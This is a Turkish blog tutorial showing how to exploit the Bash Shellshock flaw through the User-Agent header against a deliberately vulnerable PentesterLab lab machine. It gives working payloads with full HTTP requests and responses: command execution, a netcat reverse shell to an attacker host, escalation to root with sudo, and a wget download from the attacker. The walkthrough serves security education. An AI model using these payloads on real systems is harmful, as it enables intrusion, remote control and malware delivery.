Bash ‘Shellshock’ Güvenlik Açıklığı İstismar Yöntemleri

CGI(Common Gateway Interface) web sayfaları ve web uygulamalarına dinamik içerik üretmek için kullanılan standart bir yöntemdir. Bu yöntem sistem üzerinde bash komutlarının çalıştırılabilmesine de olanak sağlamaktadır. Bash kabuğu üzerinde farkedilen bir güvenlik açığı sayesinde ise bu avantajlı durum bir anda atak vektörü haline gelmiştir.



Bu blog yazsısında, hedef sistem üzerinde /cgi-bin/ klasörü altında bulunan dosyalar üzerinden bu açıklığın nasıl istismar edilebileceği uygulamalı olarak anlatılacaktır. Yapılan uygulamalar http://vulnhub.com/entry/pentester-lab-cve-2014-6271-shellshock,104/ adresinde bulunan bu zafiyete özel olarak hazırlanmış dağıtım üzerinden gerçekleştirilecektir.

Uygulamayı çalıştırdıktan sonra ilk olarak web üzerinden uygulamaya erişim sağlanır. Araya girilen bir proxy uygulaması(burp) ile istek yakalandığı zaman uygulamanın /cgi-bin/ dizinindeki status adlı sayfayı istediği aşağıdaki ekran görüntüsünde görülmektedir.



Daha sonra isteğe proxy üzerinden izin verilip dönen cevaba bakıldığı zaman, sistem üzerinde bir takım bash komutlarının çalıştığı ve bunun sonuçlarının ekrana basıldığı görülmektedir. Aşağıdaki ekran görüntüsünde dönen response üzerinde bulunan kernel bilgisi, sistemin ayakta kalma süresi gibi özellikler bu durumu ispatlamaktadır.
Aynı şekilde browser üzerinden de bu sonuçları görmek mümkündür.
Bu çıktılar doğrultusunda sistem üzerinde bash komutu çalıştırıdığı açıkça görülmektedir. Peki bu nasıl istismar edilebilir ?



Shellshock zafiyetinin birden fazla istismar yöntemi olmasına rağmen burada web üzerinden User-Agent bilgileri ile nasıl istismar edileceği anlatılacaktır. Uygulama çalıştırılıp tekrar burp suite ile araya girildikten sonra HTTP isteği görülecektir. Bu istek repeater’a gönderilip User-Agent bilgilerini değiştirerek açıklığı istismar etmek mümkündür. Repeater’a gönderilen istekteki User-Agent değerine aşağıdaki gibi bir payload yazılarak sistem üzerinden başka bir makineye ping attırılabilir.
() { :; }; /bin/bash -c ‘ping -c 3 172.16.16.1’



Http istek ve cevabının tamamı ise aşağıdaki tabloda verilmiştir. Dönen response üzerinde komutun çalıştığı ve 172.16.16.1 adresine ping işleminin başarı ile gerçekleştiği görülmektedir.
GET /cgi-bin/status HTTP/1.1
Host: 172.16.16.170
User-Agent:() { :; }; /bin/bash -c ‘ping -c 3 172.16.16.1’
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive

HTTP/1.1 200 OK
Date: Wed, 05 Nov 2014 13:39:01 GMT
Server: Apache/2.2.21 (Unix) DAV/2
PING 172.16.16.1 (172.16.16.1): 56 data bytes
64 bytes from 172.16.16.1: seq=0 ttl=64 time=0.963 ms, seq=1 ttl=64 time=11.111 ms, seq=2 ttl=64 time=3.990 ms
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/plain
Content-Length: 141

— 172.16.16.1 ping statistics —
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 0.963/5.354/11.111 ms



User-Agent değerine yazılan payloada birden fazla komut yazmak da mümkündür. Normal linux sistemlerdeki gibi komutlar “ ; “ ile birbirinin devamına yazılabilir. Aşağıdaki uygulamada ping işleminin ardından sistemde çalıştırılan komut ile kullanıcının id değeri öğrenilmiştir. Bunun için yazılan payload aşağıdaki gibidir.
() { :; }; /bin/bash -c ‘ping -c 3 172.16.16.1;id’



Http istek ve cevabının tamamı ise aşağıdaki tabloda verilmiştir. Dönen response üzerinde komutun çalıştığı ve 172.16.16.1 adresine ping işleminin başarı ile gerçekleştiği ve sistemdeki kullanıcının id değeri açıkça görülmektedir.
GET /cgi-bin/status HTTP/1.1
Host: 172.16.16.170
User-Agent:() { :; }; /bin/bash -c ‘ping -c 3 172.16.16.1;id’
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 200 OK
Date: Wed, 05 Nov 2014 13:44:46 GMT
Server: Apache/2.2.21 (Unix) DAV/2
PING 172.16.16.1 (172.16.16.1): 56 data bytes
64 bytes from 172.16.16.1: seq=0 ttl=64 time=14.142 ms, seq=1 ttl=64 time=3.836 ms, seq=2 ttl=64 time=4.825 ms
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/plain
Content-Length: 213

— 172.16.16.1 ping statistics —
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 3.836/7.601/14.142 ms
uid=1000(pentesterlab) gid=50(staff) groups=50(staff),100(pentesterlab)



Bunların dışında sistem üzerinde kullanıcının yazma yetkisinin olduğu dizinlere dosya yazılabilmektedir. Bununla ilgili uygulamaya ait payload aşağıdaki tabloda verilmiştir.
() { :; }; /bin/bash -c ‘ping -c 3 172.16.16.1;mkdir /tmp/bgapentest;ls /tmp’



Burada ping işleminin ardından /tmp dizinine bgapentest adında bir klasör oluşturulmuş ve o dizine giderek var olan dosyalar görüntülenmiştir. Bu uygulamaya ait http istek ve cevabının tamamı ise aşağıdaki tabloda verilmiştir.
GET /cgi-bin/status HTTP/1.1
Host: 172.16.16.170
User-Agent:() { :; }; /bin/bash -c ‘ping -c 3 172.16.16.1;mkdir /tmp/bgapentest;ls /tmp’
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Date: Wed, 05 Nov 2014 13:46:40 GMT
Server: Apache/2.2.21 (Unix) DAV/2
PING 172.16.16.1 (172.16.16.1): 56 data bytes
64 bytes from 172.16.16.1: seq=0 ttl=64 time=1.285 ms, seq=1 ttl=64 time=4.453 ms, seq=2 ttl=64 time=182.623 ms
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/plain
Content-Length: 179

— 172.16.16.1 ping statistics —
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 1.285/62.787/182.623 ms
aberr
bgapentest
k5_skip
tce
tcloop



Yine aynı açıklık kullanılarak netcat ile başka bir makine üzerinden açıklığın bulunduğu sistemde direk olarak shell üzerinden komut çalıştırılabilir. İlk olarak saldırgan tarafında netcat kullanılarak  bağlantının yapılacağı port açılır ve dinlemeye alınır.
root@bgakali:/home/cihat# nc -lvp 33333
listening on [any] 33333 …



Zafiyet barından uygulama tarafında  yapılması gereken şey ise, User-Agent’a yazılacak payload ile saldırgan makinesine netcat bağlantısı kurmaktır. Bunun için yazılacak olan payload aşağıdaki gibi olacaktır.
() { :; }; /bin/bash -c ‘ping -c 3 172.16.16.1;nc 172.16.16.10 33333 -e /bin/sh’



Http başlık bilgilerinin tamamı aşağıdaki tabloda verilmiştir.
GET /cgi-bin/status HTTP/1.1
Host: 172.16.16.170
User-Agent:() { :; }; /bin/bash -c ‘ping -c 3 172.16.16.1;nc 172.16.16.10  33333 -e /bin/sh’
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive



Sonrasında saldırgan tarafından dinlemeye alınan port üzerinde bağlantının gerçekleştiği görülecektir. Artık saldırgan yazacağı komutları User-Agent bilgileri üzerinden değil kendi komut satırından gönderecektir.



Saldırgan tarafından çalıştırılan örnek komutlar aşağıdaki tabloda verilmiştir. Komut çıktılarına bakılacak olursa sistem üzerinde parolasız root kullanıcısının olduğu ve sonrasında ise saldırganın root haklarına sahip olduğu açıkça görülmektedir.
root@bgakali:/home/cihat# nc -lvp 33333
listening on [any] 33333 …
connect to [172.16.16.10] from 85.105.101.253.static.ttnet.com.tr [85.105.101.253] 37918
id
uid=1000(pentesterlab) gid=50(staff) groups=50(staff),100(pentesterlab)
sudo -l
User pentesterlab may run the following commands on this host:
   (root) NOPASSWD: ALL
sudo -s
id
uid=0(root) gid=0(root) groups=0(root)



Eğer sisteme zararlı bir dosya indirmek isterseniz User-Agent bilgileri ile bunu da yapmanız mümkündür. Aşağıdaki örnekte yazılan payloada göre ilk olarak sistemde /tmp dizini altına gidildiği sonrasında buraya 172.16.16.10 adresinden test.zip dosyasının indirildiği ve daha sonra da dizinde bulunan dosyaların listelendiği görülmektedir. İlgili payload aşağıdaki gibidir.
() { :; }; /bin/bash -c ‘ping -c 3 172.16.16.1;cd /tmp;wget 172.16.16.10/test.zip;ls’



Http istek ve cevapları ise aşağıdaki tabloda detaylı olarak gösterilmiştir.
GET /cgi-bin/status HTTP/1.1
Host: 172.16.16.170
User-Agent:() { :; }; /bin/bash -c ‘ping -c 3 172.16.16.1;cd /tmp;wget 172.16.16.10/test.zip;ls’
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 200 OK
Date: Wed, 05 Nov 2014 13:54:53 GMT
Server: Apache/2.2.21 (Unix) DAV/2
PING 172.16.16.1 (172.16.16.1): 56 data bytes
64 bytes from 172.16.16.1: seq=0 ttl=64 time=15.391 ms, seq=1 ttl=64 time=1.073 ms, seq=2 ttl=64 time=84.635 ms
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/plain
Content-Length: 187

— 172.16.16.1 ping statistics —
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 1.073/33.699/84.635 ms
aberr
bgapentest
k5_skip
tce
tcloop
test.zip



Referanslar :